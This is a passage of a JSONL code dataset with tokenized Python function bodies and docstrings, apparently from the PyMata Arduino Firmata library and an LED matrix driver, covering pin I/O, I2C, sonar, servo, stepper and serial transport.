{"signature": "def analog_mapping_query(self):", "body": "self._command_handler.send_sysex(self._command_handler.ANALOG_MAPPING_QUERY, None)<EOL>", "docstring": "Send an analog mapping query message via sysex. Client retrieves the results with a\ncall to get_analog_mapping_request_results()", "id": "f9311:c0:m1"}
{"signature": "def analog_read(self, pin):", "body": "with self.data_lock:<EOL><INDENT>data = self._command_handler.analog_response_table[pin][self._command_handler.RESPONSE_TABLE_PIN_DATA_VALUE]<EOL><DEDENT>return data<EOL>", "docstring": "Retrieve the last analog data value received for the specified pin.\n\n:param pin: Selected pin\n\n:return: The last value entered into the analog response table.", "id": "f9311:c0:m2"}
{"signature": "def analog_write(self, pin, value):", "body": "if self._command_handler.ANALOG_MESSAGE + pin < <NUM_LIT>:<EOL><INDENT>command = [self._command_handler.ANALOG_MESSAGE + pin, value & <NUM_LIT>, (value >> <NUM_LIT:7>) & <NUM_LIT>]<EOL>self._command_handler.send_command(command)<EOL><DEDENT>else:<EOL><INDENT>self.extended_analog(pin, value)<EOL><DEDENT>", "docstring": "Set the specified pin to the specified value.\n\n:param pin: Pin number\n\n:param value: Pin value\n\n:return: No return value", "id": "f9311:c0:m3"}
{"signature": "def capability_query(self):", "body": "self._command_handler.send_sysex(self._command_handler.CAPABILITY_QUERY, None)<EOL>", "docstring": "Send a Firmata capability query message via sysex. Client retrieves the results with a\ncall to get_capability_query_results()\nThe Arduino can be rather slow in responding to this command. For \nthe Mega 2560 R3 it has taken up to 25 seconds for a response.", "id": "f9311:c0:m4"}
{"signature": "def close(self):", "body": "self._command_handler.system_reset()<EOL>self._command_handler.stop()<EOL>self.transport.stop()<EOL>self.transport.close()<EOL>if self.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>sys.exit(<NUM_LIT:0>)<EOL>", "docstring": "This method will close the transport (serial port) and exit\n:return: No return value, but sys.exit(0) is called.", "id": "f9311:c0:m5"}
{"signature": "def digital_read(self, pin):", "body": "with self.data_lock:<EOL><INDENT>data =self._command_handler.digital_response_table[pin][self._command_handler.RESPONSE_TABLE_PIN_DATA_VALUE]<EOL><DEDENT>return data<EOL>", "docstring": "Retrieve the last digital data value received for the specified pin.\nNOTE: This command will return values for digital, pwm, etc,  pin types\n\n:param pin: Selected pin\n\n:return: The last value entered into the digital response table.", "id": "f9311:c0:m6"}
{"signature": "def digital_write(self, pin, value):", "body": "<EOL>port = pin // <NUM_LIT:8><EOL>calculated_command = self._command_handler.DIGITAL_MESSAGE + port<EOL>mask = <NUM_LIT:1> << (pin % <NUM_LIT:8>)<EOL>if value == <NUM_LIT:1>:<EOL><INDENT>self.digital_output_port_pins[port] |= mask<EOL><DEDENT>else:<EOL><INDENT>self.digital_output_port_pins[port] &= ~mask<EOL><DEDENT>command = (calculated_command, self.digital_output_port_pins[port] & <NUM_LIT>,<EOL>(self.digital_output_port_pins[port] >> <NUM_LIT:7>) & <NUM_LIT>)<EOL>self._command_handler.send_command(command)<EOL>", "docstring": "Set the specified pin to the specified value.\n\n:param pin: pin number\n\n:param value: pin value\n\n:return: No return value", "id": "f9311:c0:m7"}
{"signature": "def disable_analog_reporting(self, pin):", "body": "command = [self._command_handler.REPORT_ANALOG + pin, self.REPORTING_DISABLE]<EOL>self._command_handler.send_command(command)<EOL>", "docstring": "Disables analog reporting for a single analog pin.\n\n:param pin: Analog pin number. For example for A0, the number is 0.\n\n:return: No return value", "id": "f9311:c0:m8"}
{"signature": "def disable_digital_reporting(self, pin):", "body": "port = pin // <NUM_LIT:8><EOL>command = [self._command_handler.REPORT_DIGITAL + port, self.REPORTING_DISABLE]<EOL>self._command_handler.send_command(command)<EOL>", "docstring": "Disables digital reporting. By turning reporting off for this pin, reporting\nis disabled for all 8 bits in the \"port\" -\n\n:param pin: Pin and all pins for this port\n\n:return: No return value", "id": "f9311:c0:m9"}
{"signature": "def enable_analog_reporting(self, pin):", "body": "command = [self._command_handler.REPORT_ANALOG + pin, self.REPORTING_ENABLE]<EOL>self._command_handler.send_command(command)<EOL>", "docstring": "Enables analog reporting. By turning reporting on for a single pin.\n\n:param pin: Analog pin number. For example for A0, the number is 0.\n\n:return: No return value", "id": "f9311:c0:m10"}
{"signature": "def enable_digital_reporting(self, pin):", "body": "port = pin // <NUM_LIT:8><EOL>command = [self._command_handler.REPORT_DIGITAL + port, self.REPORTING_ENABLE]<EOL>self._command_handler.send_command(command)<EOL>", "docstring": "Enables digital reporting. By turning reporting on for all 8 bits in the \"port\" -\nthis is part of Firmata's protocol specification.\n\n:param pin: Pin and all pins for this port\n\n:return: No return value", "id": "f9311:c0:m11"}
{"signature": "def encoder_config(self, pin_a, pin_b, cb=None):", "body": "data = [pin_a, pin_b]<EOL>self._command_handler.digital_response_table[pin_a][self._command_handler.RESPONSE_TABLE_MODE]= self.ENCODER<EOL>self._command_handler.digital_response_table[pin_a][self._command_handler.RESPONSE_TABLE_CALLBACK] = cb<EOL>self.enable_digital_reporting(pin_a)<EOL>self._command_handler.digital_response_table[pin_b][self._command_handler.RESPONSE_TABLE_MODE]= self.ENCODER<EOL>self._command_handler.digital_response_table[pin_b][self._command_handler.RESPONSE_TABLE_CALLBACK] = cb<EOL>self.enable_digital_reporting(pin_b)<EOL>self._command_handler.send_sysex(self._command_handler.ENCODER_CONFIG, data)<EOL>", "docstring": "This command enables the rotary encoder (2 pin + ground) and will\nenable encoder reporting.\n\nNOTE: This command is not currently part of standard arduino firmata, but is provided for legacy\nsupport of CodeShield on an Arduino UNO.\n\nEncoder data is retrieved by performing a digital_read from pin a (encoder pin 1)\n\n:param pin_a: Encoder pin 1.\n\n:param pin_b: Encoder pin 2.\n\n:param cb: callback function to report encoder changes\n\n:return: No return value", "id": "f9311:c0:m12"}
{"signature": "def extended_analog(self, pin, data):", "body": "analog_data = [pin, data & <NUM_LIT>, (data >> <NUM_LIT:7>) & <NUM_LIT>, (data >> <NUM_LIT>) & <NUM_LIT>]<EOL>self._command_handler.send_sysex(self._command_handler.EXTENDED_ANALOG, analog_data)<EOL>", "docstring": "This method will send an extended data analog output command to the selected pin\n\n:param pin: 0 - 127\n\n:param data: 0 - 0xfffff", "id": "f9311:c0:m13"}
{"signature": "def get_analog_latch_data(self, pin):", "body": "return self._command_handler.get_analog_latch_data(pin)<EOL>", "docstring": "A list is returned containing the latch state for the pin, the latched value, and the time stamp\n[pin_num, latch_state, latched_value, time_stamp]\nIf the the latch state is LATCH_LATCHED, the table is reset (data and timestamp set to zero)\n\n:param pin: Pin number.\n\n:return: [pin, latch_state, latch_data_value, time_stamp]", "id": "f9311:c0:m14"}
{"signature": "def get_analog_mapping_request_results(self):", "body": "return self._command_handler.analog_mapping_query_results<EOL>", "docstring": "Call this method after calling analog_mapping_query() to retrieve its results\n:return: raw data returned by firmata", "id": "f9311:c0:m15"}
{"signature": "def get_analog_response_table(self):", "body": "return self._command_handler.get_analog_response_table()<EOL>", "docstring": "This method returns a list of lists representing the current pin mode and\nassociated data values for all analog pins.\nAll configured pin types, both input and output will be listed. Output pin data will contain zero.\n:return: The last update of the digital response table", "id": "f9311:c0:m16"}
{"signature": "def get_capability_query_results(self):", "body": "return self._command_handler.capability_query_results<EOL>", "docstring": "Retrieve the data returned by a previous call to capability_query()\n:return: Raw capability data returned by firmata", "id": "f9311:c0:m17"}
{"signature": "def get_digital_latch_data(self, pin):", "body": "return self._command_handler.get_digital_latch_data(pin)<EOL>", "docstring": "A list is returned containing the latch state for the pin, the latched value, and the time stamp\n[pin_num, latch_state, latched_value, time_stamp]\nIf the the latch state is LATCH_LATCHED, the table is reset (data and timestamp set to zero)\n\n:param pin: Pin number.\n\n:return: [pin, latch_state, latch_data_value, time_stamp]", "id": "f9311:c0:m18"}
{"signature": "def get_digital_response_table(self):", "body": "return self._command_handler.get_digital_response_table()<EOL>", "docstring": "This method returns a list of lists representing the current pin mode\nand associated data for all digital pins.\nAll pin types, both input and output will be listed. Output pin data will contain zero.\n:return: The last update of the digital response table", "id": "f9311:c0:m19"}
{"signature": "def get_firmata_version(self):", "body": "return self._command_handler.firmata_version<EOL>", "docstring": "Retrieve the firmata version information returned by a previous call to refresh_report_version()\n:return: Firmata_version list [major, minor] or None", "id": "f9311:c0:m20"}
{"signature": "def get_firmata_firmware_version(self):", "body": "return self._command_handler.firmata_firmware<EOL>", "docstring": "Retrieve the firmware id information returned by a previous call to refresh_report_firmware()\n:return: Firmata_firmware  list [major, minor, file_name] or None", "id": "f9311:c0:m21"}
{"signature": "def get_pin_state_query_results(self):", "body": "r_data = self._command_handler.last_pin_query_results<EOL>self._command_handler.last_pin_query_results = []<EOL>return r_data<EOL>", "docstring": "This method returns the results of a previous call to pin_state_query() and then resets\nthe pin state query data to None\n\n:return: Raw pin state query data", "id": "f9311:c0:m22"}
{"signature": "def get_pymata_version(self):", "body": "return ['<STR_LIT:2>', '<STR_LIT>']<EOL>", "docstring": "Returns the PyMata version number in a list: [Major Number, Minor Number]\n\n:return:", "id": "f9311:c0:m23"}
{"signature": "def get_sonar_data(self):", "body": "return self._command_handler.active_sonar_map<EOL>", "docstring": "Retrieve Ping (HC-SR04 type) data. The data is presented as a dictionary.\nThe 'key' is the trigger pin specified in sonar_config() and the 'data' is the\ncurrent measured distance (in centimeters)\nfor that pin. If there is no data, the value is set to IGNORE (127).\n\n:return: active_sonar_map", "id": "f9311:c0:m24"}
{"signature": "def get_stepper_version(self, timeout=<NUM_LIT:20>):", "body": "<EOL>start_time = time.time()<EOL>while self._command_handler.stepper_library_version <= <NUM_LIT:0>:<EOL><INDENT>if time.time() - start_time > timeout:<EOL><INDENT>if self.verbose is True:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return self._command_handler.stepper_library_version<EOL>", "docstring": "Get the stepper library version number.\n\n:param timeout: specify a time to allow arduino to process and return a version\n\n:return: the stepper version number if it was set.", "id": "f9311:c0:m25"}
{"signature": "def i2c_config(self, read_delay_time=<NUM_LIT:0>, pin_type=None, clk_pin=<NUM_LIT:0>, data_pin=<NUM_LIT:0>):", "body": "data = [read_delay_time & <NUM_LIT>, (read_delay_time >> <NUM_LIT:7>) & <NUM_LIT>]<EOL>self._command_handler.send_sysex(self._command_handler.I2C_CONFIG, data)<EOL>if pin_type:<EOL><INDENT>if pin_type == self.DIGITAL:<EOL><INDENT>self._command_handler.digital_response_table[clk_pin][self._command_handler.RESPONSE_TABLE_MODE]= self.I2C<EOL>self._command_handler.digital_response_table[data_pin][self._command_handler.RESPONSE_TABLE_MODE]= self.I2C<EOL><DEDENT>else:<EOL><INDENT>self._command_handler.analog_response_table[clk_pin][self._command_handler.RESPONSE_TABLE_MODE]= self.I2C<EOL>self._command_handler.analog_response_table[data_pin][self._command_handler.RESPONSE_TABLE_MODE]= self.I2C<EOL><DEDENT><DEDENT>", "docstring": "NOTE: THIS METHOD MUST BE CALLED BEFORE ANY I2C REQUEST IS MADE\nThis method initializes Firmata for I2c operations.\nIt allows setting of a read time delay amount, and to optionally track\nthe pins as I2C in the appropriate response table.\nTo track pins: Set the pin_type to ANALOG or DIGITAL and provide the pin numbers.\nIf using ANALOG, pin numbers use the analog number, for example A4: use 4.\n\n:param read_delay_time: an optional parameter, default is 0\n\n:param pin_type: ANALOG or DIGITAL to select response table type to track pin numbers\n\n:param clk_pin: pin number (see comment above).\n\n:param data_pin: pin number (see comment above).\n\n:return: No Return Value", "id": "f9311:c0:m26"}
{"signature": "def i2c_read(self, address, register, number_of_bytes, read_type, cb=None):", "body": "data = [address, read_type, register & <NUM_LIT>, (register >> <NUM_LIT:7>) & <NUM_LIT>,<EOL>number_of_bytes & <NUM_LIT>, (number_of_bytes >> <NUM_LIT:7>) & <NUM_LIT>]<EOL>self._command_handler.i2c_map[address] = [cb, None]<EOL>self._command_handler.send_sysex(self._command_handler.I2C_REQUEST, data)<EOL>", "docstring": "This method requests the read of an i2c device. Results are retrieved by a call to\ni2c_get_read_data().\nIf a callback method is provided, when data is received from the device it will be sent to the callback method\n\n:param address: i2c device address\n\n:param register: register number (can be set to zero)\n\n:param number_of_bytes: number of bytes expected to be returned\n\n:param read_type: I2C_READ  or I2C_READ_CONTINUOUSLY\n\n:param cb: Optional callback function to report i2c data as result of read command", "id": "f9311:c0:m27"}
{"signature": "def i2c_write(self, address, *args):", "body": "data = [address, self.I2C_WRITE]<EOL>for item in args:<EOL><INDENT>data.append(item & <NUM_LIT>)<EOL>data.append((item >> <NUM_LIT:7>) & <NUM_LIT>)<EOL><DEDENT>self._command_handler.send_sysex(self._command_handler.I2C_REQUEST, data)<EOL>", "docstring": "Write data to an i2c device.\n\n:param address: i2c device address\n\n:param args: A variable number of bytes to be sent to the device", "id": "f9311:c0:m28"}
{"signature": "def i2c_stop_reading(self, address):", "body": "data = [address, self.I2C_STOP_READING]<EOL>self._command_handler.send_sysex(self._command_handler.I2C_REQUEST, data)<EOL>", "docstring": "This method stops an I2C_READ_CONTINUOUSLY operation for the i2c device address specified.\n\n:param address: address of i2c device", "id": "f9311:c0:m29"}
{"signature": "def i2c_get_read_data(self, address):", "body": "if address in self._command_handler.i2c_map:<EOL><INDENT>map_entry = self._command_handler.i2c_map[address]<EOL>return map_entry[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "This method retrieves the i2c read data as the result of an i2c_read() command.\n\n:param address: i2c device address\n\n:return: raw data read from device", "id": "f9311:c0:m30"}
{"signature": "def pin_state_query(self, pin):", "body": "self._command_handler.send_sysex(self._command_handler.PIN_STATE_QUERY, [pin])<EOL>", "docstring": "This method issues a pin state query command. Data returned is retrieved via\na call to get_pin_state_query_results()\n:param pin: pin number", "id": "f9311:c0:m31"}
{"signature": "def play_tone(self, pin, tone_command, frequency, duration):", "body": "<EOL>if tone_command == self.TONE_TONE:<EOL><INDENT>if duration:<EOL><INDENT>data = [tone_command, pin, frequency & <NUM_LIT>, (frequency >> <NUM_LIT:7>) & <NUM_LIT>, duration & <NUM_LIT>, (duration >> <NUM_LIT:7>) & <NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>data = [tone_command, pin, frequency & <NUM_LIT>, (frequency >> <NUM_LIT:7>) & <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL><DEDENT>self._command_handler.digital_response_table[pin][self._command_handler.RESPONSE_TABLE_MODE] =self.TONE<EOL><DEDENT>else:<EOL><INDENT>data = [tone_command, pin]<EOL><DEDENT>self._command_handler.send_sysex(self._command_handler.TONE_PLAY, data)<EOL>", "docstring": "This method will call the Tone library for the selected pin.\nIf the tone command is set to TONE_TONE, then the specified tone will be played.\nElse, if the tone command is TONE_NO_TONE, then any currently playing tone will be disabled.\nIt is intended for a future release of Arduino Firmata\n\n:param pin: Pin number\n\n:param tone_command: Either TONE_TONE, or TONE_NO_TONE\n\n:param frequency: Frequency of tone in hz\n\n:param duration: Duration of tone in milliseconds\n\n:return: No return value", "id": "f9311:c0:m32"}
{"signature": "def refresh_report_version(self):", "body": "command = [self._command_handler.REPORT_VERSION]<EOL>self._command_handler.send_command(command)<EOL>", "docstring": "This method will query firmata for the report version.\nRetrieve the report version via a call to get_firmata_version()", "id": "f9311:c0:m33"}
{"signature": "def refresh_report_firmware(self):", "body": "self._command_handler.send_sysex(self._command_handler.REPORT_FIRMWARE, None)<EOL>", "docstring": "This method will query firmata to report firmware. Retrieve the report via a\ncall to get_firmata_firmware_version()", "id": "f9311:c0:m34"}
{"signature": "def reset(self):", "body": "<EOL>for pin in range(<NUM_LIT:0>, self._command_handler.total_pins_discovered):<EOL><INDENT>if self._command_handler.digital_response_table[self._command_handler.RESPONSE_TABLE_MODE]== self.PWM:<EOL><INDENT>self.analog_write(pin, <NUM_LIT:0>)<EOL><DEDENT>elif self._command_handler.digital_response_table[self._command_handler.RESPONSE_TABLE_MODE]== self.SERVO:<EOL><INDENT>self.analog_write(pin, <NUM_LIT:0>)<EOL><DEDENT>elif self._command_handler.digital_response_table[self._command_handler.RESPONSE_TABLE_MODE]== self.TONE:<EOL><INDENT>data = [self.TONE_NO_TONE, pin]<EOL>self._command_handler.send_sysex(self._command_handler.TONE_PLAY, data)<EOL><DEDENT>else:<EOL><INDENT>self.digital_write(pin, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>self._command_handler.system_reset()<EOL>", "docstring": "This command sends a reset message to the Arduino. The response tables will be reinitialized\n:return: No return value.", "id": "f9311:c0:m35"}
{"signature": "def set_analog_latch(self, pin, threshold_type, threshold_value, cb=None):", "body": "if self.ANALOG_LATCH_GT <= threshold_type <= self.ANALOG_LATCH_LTE:<EOL><INDENT>if <NUM_LIT:0> <= threshold_value <= <NUM_LIT>:<EOL><INDENT>self._command_handler.set_analog_latch(pin, threshold_type, threshold_value, cb)<EOL>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "This method \"arms\" an analog pin for its data to be latched and saved in the latching table\nIf a callback method is provided, when latching criteria is achieved, the callback function is called\nwith latching data notification. In that case, the latching table is not updated.\n\n:param pin: Analog pin number (value following an 'A' designator, i.e. A5 = 5\n\n:param threshold_type: ANALOG_LATCH_GT | ANALOG_LATCH_LT  | ANALOG_LATCH_GTE | ANALOG_LATCH_LTE\n\n:param threshold_value: numerical value - between 0 and 1023\n\n:param cb: callback method\n\n:return: True if successful, False if parameter data is invalid", "id": "f9311:c0:m36"}
{"signature": "def set_digital_latch(self, pin, threshold_type, cb=None):", "body": "if <NUM_LIT:0> <= threshold_type <= <NUM_LIT:1>:<EOL><INDENT>self._command_handler.set_digital_latch(pin, threshold_type, cb)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "This method \"arms\" a digital pin for its data to be latched and saved in the latching table\nIf a callback method is provided, when latching criteria is achieved, the callback function is called\nwith latching data notification. In that case, the latching table is not updated.\n\n:param pin: Digital pin number\n\n:param threshold_type: DIGITAL_LATCH_HIGH | DIGITAL_LATCH_LOW\n\n:param cb: callback function\n\n:return: True if successful, False if parameter data is invalid", "id": "f9311:c0:m37"}
{"signature": "def set_pin_mode(self, pin, mode, pin_type, cb=None):", "body": "command = [self._command_handler.SET_PIN_MODE, pin, mode]<EOL>self._command_handler.send_command(command)<EOL>if mode == self.INPUT or mode == self.PULLUP:<EOL><INDENT>if pin_type == self.ANALOG:<EOL><INDENT>self._command_handler.analog_response_table[pin][self._command_handler.RESPONSE_TABLE_MODE] =self.INPUT<EOL>self._command_handler.analog_response_table[pin][self._command_handler.RESPONSE_TABLE_CALLBACK] = cb<EOL>self.enable_analog_reporting(pin)<EOL><DEDENT>else:<EOL><INDENT>self._command_handler.digital_response_table[pin][self._command_handler.RESPONSE_TABLE_MODE] =self.INPUT<EOL>self._command_handler.digital_response_table[pin][self._command_handler.RESPONSE_TABLE_CALLBACK] = cb<EOL>self.enable_digital_reporting(pin)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>if pin_type == self.ANALOG:<EOL><INDENT>self._command_handler.analog_response_table[pin][self._command_handler.RESPONSE_TABLE_MODE] = mode<EOL><DEDENT>else:<EOL><INDENT>self._command_handler.digital_response_table[pin][self._command_handler.RESPONSE_TABLE_MODE] = mode<EOL><DEDENT><DEDENT>", "docstring": "This method sets a pin to the desired pin mode for the pin_type.\nIt automatically enables data reporting.\nNOTE: DO NOT CALL THIS METHOD FOR I2C. See i2c_config().\n\n:param pin: Pin number (for analog use the analog number, for example A4: use 4)\n\n:param mode: INPUT, OUTPUT, PWM, PULLUP\n\n:param pin_type: ANALOG or DIGITAL\n\n:param cb: This is an optional callback function to report data changes to the user\n\n:return: No return value", "id": "f9311:c0:m38"}
{"signature": "def set_sampling_interval(self, interval):", "body": "data = [interval & <NUM_LIT>, (interval >> <NUM_LIT:7>) & <NUM_LIT>]<EOL>self._command_handler.send_sysex(self._command_handler.SAMPLING_INTERVAL, data)<EOL>", "docstring": "This method sends the desired sampling interval to Firmata.\nNote: Standard Firmata  will ignore any interval less than 10 milliseconds\n\n:param interval: Integer value for desired sampling interval in milliseconds\n\n:return: No return value.", "id": "f9311:c0:m39"}
{"signature": "def servo_config(self, pin, min_pulse=<NUM_LIT>, max_pulse=<NUM_LIT>):", "body": "self.set_pin_mode(pin, self.SERVO, self.OUTPUT)<EOL>command = [pin, min_pulse & <NUM_LIT>, (min_pulse >> <NUM_LIT:7>) & <NUM_LIT>,<EOL>max_pulse & <NUM_LIT>, (max_pulse >> <NUM_LIT:7>) & <NUM_LIT>]<EOL>self._command_handler.send_sysex(self._command_handler.SERVO_CONFIG, command)<EOL>", "docstring": "Configure a pin as a servo pin. Set pulse min, max in ms.\n\n:param pin: Servo Pin.\n\n:param min_pulse: Min pulse width in ms.\n\n:param max_pulse: Max pulse width in ms.\n\n:return: No return value", "id": "f9311:c0:m40"}
{"signature": "def sonar_config(self, trigger_pin, echo_pin, cb=None, ping_interval=<NUM_LIT:50>, max_distance=<NUM_LIT:200>):", "body": "if max_distance > <NUM_LIT:200>:<EOL><INDENT>max_distance = <NUM_LIT:200><EOL><DEDENT>max_distance_lsb = max_distance & <NUM_LIT><EOL>max_distance_msb = (max_distance >> <NUM_LIT:7>) & <NUM_LIT><EOL>data = [trigger_pin, echo_pin, ping_interval, max_distance_lsb, max_distance_msb]<EOL>self.set_pin_mode(trigger_pin, self.SONAR, self.INPUT)<EOL>self.set_pin_mode(echo_pin, self.SONAR, self.INPUT)<EOL>if len(self._command_handler.active_sonar_map) > <NUM_LIT:6>:<EOL><INDENT>if self.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return<EOL><DEDENT>else:<EOL><INDENT>with self.data_lock:<EOL><INDENT>self._command_handler.active_sonar_map[trigger_pin] = [cb, [self.IGNORE]]<EOL><DEDENT><DEDENT>self._command_handler.send_sysex(self._command_handler.SONAR_CONFIG, data)<EOL>", "docstring": "Configure the pins,ping interval and maximum distance for an HC-SR04 type device.\nSingle pin configuration may be used. To do so, set both the trigger and echo pins to the same value.\nUp to a maximum of 6 SONAR devices is supported\nIf the maximum is exceeded a message is sent to the console and the request is ignored.\nNOTE: data is measured in centimeters\n\n:param trigger_pin: The pin number of for the trigger (transmitter).\n\n:param echo_pin: The pin number for the received echo.\n\n:param ping_interval: Minimum interval between pings. Lowest number to use is 33 ms.Max is 127\n\n:param max_distance: Maximum distance in cm. Max is 200.\n\n:param cb: optional callback function to report sonar data changes", "id": "f9311:c0:m41"}
{"signature": "def stepper_config(self, steps_per_revolution, stepper_pins):", "body": "data = [self.STEPPER_CONFIGURE, steps_per_revolution & <NUM_LIT>, (steps_per_revolution >> <NUM_LIT:7>) & <NUM_LIT>]<EOL>for pin in range(len(stepper_pins)):<EOL><INDENT>data.append(stepper_pins[pin])<EOL><DEDENT>self._command_handler.send_sysex(self._command_handler.STEPPER_DATA, data)<EOL>", "docstring": "Configure stepper motor prior to operation.\n\n:param steps_per_revolution: number of steps per motor revolution\n\n:param stepper_pins: a list of control pin numbers - either 4 or 2", "id": "f9311:c0:m42"}
{"signature": "def stepper_step(self, motor_speed, number_of_steps):", "body": "if number_of_steps > <NUM_LIT:0>:<EOL><INDENT>direction = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>direction = <NUM_LIT:0><EOL><DEDENT>abs_number_of_steps = abs(number_of_steps)<EOL>data = [self.STEPPER_STEP, motor_speed & <NUM_LIT>, (motor_speed >> <NUM_LIT:7>) & <NUM_LIT>, (motor_speed >> <NUM_LIT>) & <NUM_LIT>,<EOL>abs_number_of_steps & <NUM_LIT>, (abs_number_of_steps >> <NUM_LIT:7>) & <NUM_LIT>, direction]<EOL>self._command_handler.send_sysex(self._command_handler.STEPPER_DATA, data)<EOL>", "docstring": "Move a stepper motor for the number of steps at the specified speed\n\n:param motor_speed: 21 bits of data to set motor speed\n\n:param number_of_steps: 14 bits for number of steps & direction\n                        positive is forward, negative is reverse", "id": "f9311:c0:m43"}
{"signature": "def stepper_request_library_version(self):", "body": "data = [self.STEPPER_LIBRARY_VERSION]<EOL>self._command_handler.send_sysex(self._command_handler.STEPPER_DATA, data)<EOL>", "docstring": "Request the stepper library version from the Arduino.\nTo retrieve the version after this command is called, call\nget_stepper_version", "id": "f9311:c0:m44"}
{"signature": "def __init__(self, port_id, command_deque, baud_rate):", "body": "self.port_id = port_id<EOL>self.command_deque = command_deque<EOL>self.baud_rate = baud_rate<EOL>threading.Thread.__init__(self)<EOL>self.daemon = True<EOL>self.arduino = serial.Serial(self.port_id, self.baud_rate,<EOL>timeout=int(self.timeout), writeTimeout=<NUM_LIT:0>)<EOL>self.stop_event = threading.Event()<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>self.arduino.nonblocking()<EOL><DEDENT>", "docstring": "Constructor:\n\n:param command_deque: A reference to the deque shared with the _command_handler\n\n:param baud_rate: must match that of Arduino Sketch", "id": "f9312:c0:m0"}
{"signature": "def open(self, verbose):", "body": "<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>' % self.port_id)<EOL><DEDENT>try:<EOL><INDENT>self.arduino.close()<EOL>time.sleep(<NUM_LIT:1>)<EOL>self.arduino.open()<EOL>time.sleep(<NUM_LIT:1>)<EOL>return self.arduino<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "open the serial port using the configuration data\nreturns a reference to this instance", "id": "f9312:c0:m3"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.arduino.close()<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Close the serial port\nreturn: None", "id": "f9312:c0:m4"}
{"signature": "def write(self, data):", "body": "if sys.version_info[<NUM_LIT:0>] < <NUM_LIT:3>:<EOL><INDENT>self.arduino.write(data)<EOL><DEDENT>else:<EOL><INDENT>self.arduino.write(bytes([ord(data)]))<EOL><DEDENT>", "docstring": "write the data to the serial port\nreturn: None", "id": "f9312:c0:m5"}
{"signature": "def run(self):", "body": "while not self.is_stopped():<EOL><INDENT>try:<EOL><INDENT>if self.arduino.inWaiting():<EOL><INDENT>c = self.arduino.read()<EOL>self.command_deque.append(ord(c))<EOL><DEDENT>else:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>except IOError:<EOL><INDENT>self.stop()<EOL><DEDENT><DEDENT>self.close()<EOL>", "docstring": "This method continually runs. If an incoming character is available on the serial port\nit is read and placed on the _command_deque\n@return: Never Returns", "id": "f9312:c0:m6"}
{"signature": "def __init__(self, address, blink_rate, brightness):<EOL>", "body": "<EOL>self.firmata = PyMata(\"<STR_LIT>\")<EOL>self.board_address = address<EOL>self.blink_rate = blink_rate<EOL>self.brightness = brightness<EOL>self.clear_display_buffer()<EOL>self.firmata.i2c_config(<NUM_LIT:0>, self.firmata.ANALOG, <NUM_LIT:4>, <NUM_LIT:5>)<EOL>self.oscillator_set(self.OSCILLATOR_ON)<EOL>self.set_blink_rate(self.blink_rate)<EOL>self.set_brightness(self.brightness)<EOL>", "docstring": "@param address: I2C address of the device\n@param blink_rate: desired blink rate\n@param brightness: brightness level for the display", "id": "f9322:c0:m0"}
{"signature": "def set_blink_rate(self, b):", "body": "if b > <NUM_LIT:3>:<EOL><INDENT>b = <NUM_LIT:0>  <EOL><DEDENT>self.firmata.i2c_write(self.board_address,<EOL>(self.HT16K33_BLINK_CMD | self.HT16K33_BLINK_DISPLAYON | (b << <NUM_LIT:1>)))<EOL>", "docstring": "Set the user's desired blink rate (0 - 3)\n@param b: blink rate", "id": "f9322:c0:m1"}
{"signature": "def oscillator_set(self, osc_mode):", "body": "self.firmata.i2c_write(self.board_address, osc_mode)<EOL>", "docstring": "Turn oscillator on or off\n@param osc_mode: osc mode (OSCILLATOR_ON or OSCILLATOR_OFF)", "id": "f9322:c0:m2"}
{"signature": "def set_brightness(self, brightness):", "body": "if brightness > <NUM_LIT:15>:<EOL><INDENT>brightness = <NUM_LIT:15><EOL><DEDENT>brightness |= <NUM_LIT><EOL>self.brightness = brightness<EOL>self.firmata.i2c_write(<NUM_LIT>, brightness)<EOL>", "docstring": "Set the brightness level for the entire display\n@param brightness: brightness level (0 -15)", "id": "f9322:c0:m3"}
{"signature": "def set_pixel(self, row, column, color, suppress_write):<EOL>", "body": "if (row < <NUM_LIT:0>) or (row >= <NUM_LIT:8>):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if (column < <NUM_LIT:0>) or (column >= <NUM_LIT:8>):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.display_buffer[row][column] = color<EOL>green = <NUM_LIT:0><EOL>red = <NUM_LIT:0><EOL>for col in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>if self.display_buffer[row][col] == self.LED_GREEN:<EOL><INDENT>green |= <NUM_LIT:1> << col<EOL><DEDENT>elif self.display_buffer[row][col] == self.LED_RED:<EOL><INDENT>red |= <NUM_LIT:1> << col<EOL><DEDENT>elif self.display_buffer[row][col] == self.LED_YELLOW:<EOL><INDENT>green |= <NUM_LIT:1> << col<EOL>red |= <NUM_LIT:1> << col<EOL><DEDENT>elif self.display_buffer[row][col] == self.LED_OFF:<EOL><INDENT>green &= ~(<NUM_LIT:1> << col)<EOL>red &= ~(<NUM_LIT:1> << col)<EOL><DEDENT><DEDENT>if not suppress_write:<EOL><INDENT>self.firmata.i2c_write(<NUM_LIT>, row * <NUM_LIT:2>, <NUM_LIT:0>, green)<EOL>self.firmata.i2c_write(<NUM_LIT>, row * <NUM_LIT:2> + <NUM_LIT:1>, <NUM_LIT:0>, red)<EOL><DEDENT>", "docstring": "@param row: pixel row number\n@param column: pix column number\n@param color: 